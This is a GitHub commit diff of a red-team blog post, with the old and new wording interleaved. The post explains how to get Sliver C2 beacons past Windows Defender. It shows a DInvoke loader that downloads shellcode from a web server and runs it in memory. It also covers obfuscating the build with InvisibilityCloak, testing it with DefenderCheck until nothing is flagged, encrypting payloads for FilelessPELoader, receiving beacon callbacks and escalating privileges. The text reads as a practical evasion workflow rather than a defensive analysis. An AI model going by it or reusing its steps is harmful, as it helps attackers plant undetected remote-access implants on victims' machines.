You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Recently I have been playing around with [Sliver](https://github.com/BishopFox/sliver) from BishopFox as a C2 framework. After trying it out and executing some beacon payloads on a Windows VM, I noticed that the beacons instantly get flagged by Windows Defender. So to improve my Red Teaming skills, I was interested in finding ways to bypass some general anti-virus software like Windows Defender. In this post I will take you through the process of using [DInvoke](https://github.com/Kara-4search/DInvoke_shellcodeload_CSharp/tree/main) as a shellcode injecter and using common obfuscation techniques for bypassing AVs.
13
+
Recently I have been playing around with [Sliver](https://github.com/BishopFox/sliver) from BishopFox as a C2 framework. After using it for some time and executing several beacon payloads on my Windows VM, I noticed that the beacons instantly get dropped by Windows Defender. In order to improve my Red Teaming skills, I was interested in finding ways to bypass some general anti-virus software like Windows Defender. In this post I will take you through the process of using [DInvoke](https://github.com/Kara-4search/DInvoke_shellcodeload_CSharp/tree/main) as a shellcode injecter. I will also showcase how we can make a PE loader to inject code into memory, together with some common obfuscation techniques.
14
14
15
15
# DInvoke Shellcode Loader (.NET)
16
-
To start building our shellcode loader, I decided to make use of DInvoke by [TheWover](https://github.com/TheWover). Using DInvoke, we can use Dynamic Invocation to load unmanaged code via DLLs at runtime. This can help us avoiding API Hooking by calling arbitrary code from memory, while also avoiding detections that look for imports of suspicious API calls via the Import Address Table. For more information about the DInvoke project, be sure to read [TheWover's blog post](https://thewover.github.io/Dynamic-Invoke/) where he demonstrates how the project works.
16
+
In recent years, more and more tools are coded in C# or ported from PowerShell. One of the features of C# is its ability to call the Win32 API and interact with low-level functions just like you would in C or C++.
17
17
18
-
In order to make use of DInvoke as a shellcode loader, I modified an existing C# Visual Studio project of [Kara-4search](https://github.com/Kara-4search/DInvoke_shellcodeload_CSharp/tree/main). I changed the original code to download the shellcode from a web server and then load it into memory.
18
+
To build a shellcode loader, I decided to make use of DInvoke by [TheWover](https://github.com/TheWover). Using DInvoke, we can use Dynamic Invocation to load unmanaged code via DLLs at runtime (unlike PInvoke). This can help us avoiding API Hooking by calling arbitrary code from memory, while also avoiding detections that look for imports of suspicious API calls via the Import Address Table. For more information about the DInvoke project, be sure to read [TheWover's blog post](https://thewover.github.io/Dynamic-Invoke/) where he demonstrates how the project works.
19
+
20
+
In order to make use of DInvoke as a shellcode loader, I made a few modifications to an existing project of [Kara-4search](https://github.com/Kara-4search/DInvoke_shellcodeload_CSharp/tree/main). I changed the original code in order to download my shellcode from a web server and then load it into memory. The applied changes can be seen below.
With these changes applied, we can save the project and perform some obfuscation. The [InvisibilityCloak](https://github.com/h4wkst3r/InvisibilityCloak) project serves as an obfuscation toolkit that allows for some quick modifications to your projectlike changing the name, project GUID, string obfuscation, removing comments and removing program database (PDB) strings. Download the project, compile the binary and run the following command in order to rename the project and apply string reversing as the obfuscation method.
25
+
With our modifications in place, we can save the project and perform some code obfuscation. The [InvisibilityCloak](https://github.com/h4wkst3r/InvisibilityCloak) project serves as an easy-to-use obfuscation toolkit that allows for some quick modifications to your project. This includes things like changing the project name, project GUID, applying string obfuscation, removing comments and removing program database (PDB) strings. Just clone the project, compile the binary and run the following command in order to rename the project and apply string reversing as the obfuscation method.
[*] INFO: Performing reverse obfuscation on strings in C:\Tools\DInvoke_Loader\DInvoke_shellcodeload\DInvoke_test\obj\x64\Release\.NETFramework,Version=v4.7.2.AssemblyAttributes.cs
62
64
[*] INFO: Performing reverse obfuscation on strings in C:\Tools\DInvoke_Loader\DInvoke_shellcodeload\DInvoke_test\obj\x86\Debug\.NETFramework,Version=v4.7.2.AssemblyAttributes.cs
63
65
64
-
[+] SUCCESS: Your new tool Bashee now has the invisibility cloak applied.
66
+
[+] SUCCESS: Your new tool s3rp3nt now has the invisibility cloak applied.
65
67
```
66
68
67
-
From the output we see that we have succesfully obfuscated the project. Before compiling, let's change all string references to DInvoke to another custom string (e.g. "Bashee"). We will also change the project output type to be a Windows Application in order to avoid a console pop-up when executing the binary.
69
+
From the output we see that we have succesfully obfuscated the project. Before compiling, let's change all string references to DInvoke to another custom string (e.g. "s3rp3nt"). We will also change the project output type to be a Windows Application in order to avoid a console pop-up when executing the binary.
We can now compile the project to x64 architecture in release mode.
73
+
We can now compile the project to x64 architecture in release mode by going to `Build > Build Solution`.
72
74
73
75
## AV Check
74
-
With our loader ready, we can check if the file is not flagged as malicious by running [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) or [DefenderCheck](https://github.com/matterpreter/DefenderCheck).
76
+
With our loader ready, we can verify if our file is not getting detected as malicious by running [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) or [DefenderCheck](https://github.com/matterpreter/DefenderCheck).
75
77
76
78
```console
77
-
C:\Tools> DefenderCheck.exe BasheeLoader.exe
79
+
C:\Tools> DefenderCheck.exe s3rp3ntLoader.exe
78
80
Target file size: 8192 bytes
79
81
Analyzing...
80
82
81
83
Exhausted the search. The binary looks good to go!
No threats have been found! This means that we have now made a program that can fetch our shellcode and execute it in memory without triggering Defender.
89
+
No threats have been found!
88
90
89
91
# FilelessPELoader (C++)
90
-
The one downside to the above approach is that it requires .NET to be installed on the host to be able to execute our loader. Another technique that can be used to load an encrypted version in memory, decrypt it and execute the payload. To do this, we can make use of the [FilelessPELoader](https://github.com/SaadAhla/FilelessPELoader) project and obfuscate the code. Since this is not a C# project, we cannot use InvisibilityCloak to do the obfuscation. We will do the this manually this time. Again we can use either DefenderCheck or ThreatCheck to see if our executable is good to go.
92
+
One downside of using DInvoke is that it requires .NET to be installed on the host to be able to execute our loader because of the CLR. This means that we need to write our application in another language like C++. At this point I don't feel like rewriting the whole project in C++ so I will make use of another way.
93
+
94
+
Another technique that can be used is to load an encrypted version of our shellcode in memory, decrypt it and execute it. To do this, we can make use of the [FilelessPELoader](https://github.com/SaadAhla/FilelessPELoader) project and again do some obfuscation on the original code. Since this is not a C# project, we cannot use InvisibilityCloak to do the obfuscation, so we will do it manually this time. Again we can use either DefenderCheck or ThreatCheck to see if our executable is good to go. Let's first clone the project and compile our binary without any modifications.
From the above output, we can see that our file has some bad bytes that will be detected by AV. To fix this I removed all comments, any unnecessary print statements and reversed a few function names.
98
+
From the above output, we can see that ThreatCheck has identified some bad bytes that will be detected by AV. To fix this I removed all comments, any unnecessary print statements or functions, and reversed several function names. I am not going into detail on how to obfuscate the code, since it should be relatively easy to bypass any signature checks.
Afterwards we can encrypt any file we want with the `aes.py` script.
102
+
The project comes with a custom `aes.py` script that can be used to encrypt any file we want. The idea is that our loader will fetch the encrypted binary (`cipher.bin`) together with a key (`key.bin`) in order to decrypt it.
99
103
100
104
```console
101
105
$ python3 aes.py malicious_file.exe
102
106
$ ls
103
107
aes.py cipher.bin key.bin malicious_file.exe
104
108
```
105
109
106
-
This will create the files `cipher.bin` and `key.bin`that we can pass to our loader as arguments in order to retrieve the files. In the next section we will have a look at how we can make use of our loaders. We can even do this with any file we want in order to evade detection.
110
+
The generated files `cipher.bin` and `key.bin` can be passed to our loader as arguments. In the next section we will have a look at how we can make use of our loaders.
107
111
108
112
# Sliver in Action
109
113
## Shellcode Generation
110
-
Moving to our attack machine, we create shellcode for a Sliver C2 beacon. Start Sliver, generate a mTLS beacon targeting your IP and save it to a directory of your choosing. Next we start the mTLS listener.
114
+
Moving to our attack machine, we will create shellcode for a Sliver beacon. Start Sliver, generate a mTLS beacon targeting your IP and save it to a directory of your choosing. Next we start the mTLS listener.
After executing our custom shellcode loader, we can see it has grabbed our beacon from our Python server, loaded our shellcode in memory and we received a connection from our server without alerting Windows Defender. We can also try running our modified FilelessPELoader executable.
150
+
After executing our custom shellcode loader, we can see it has grabbed our beacon from our Python server, loaded our shellcode in memory and we received a connection from our server without alerting Windows Defender. You see that I get a couple of beacon connections, because I rand the executable a couple of times.
151
+
152
+
Now we can also try running our modified FilelessPELoader executable.
147
153
148
154
```console
149
155
$ python3 aes.py beacon.exe
@@ -156,7 +162,7 @@ Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
156
162
We can now even go a step further and escalate privileges on the victim.
157
163
158
164
## Privilege Escalation
159
-
Use the beacon and run `sa-whoami`. This will run a `whoami /all` in a more safe way.
165
+
Use one of the beacons and run `sa-whoami`. This will run a `whoami /all` in a more safe way.
0 commit comments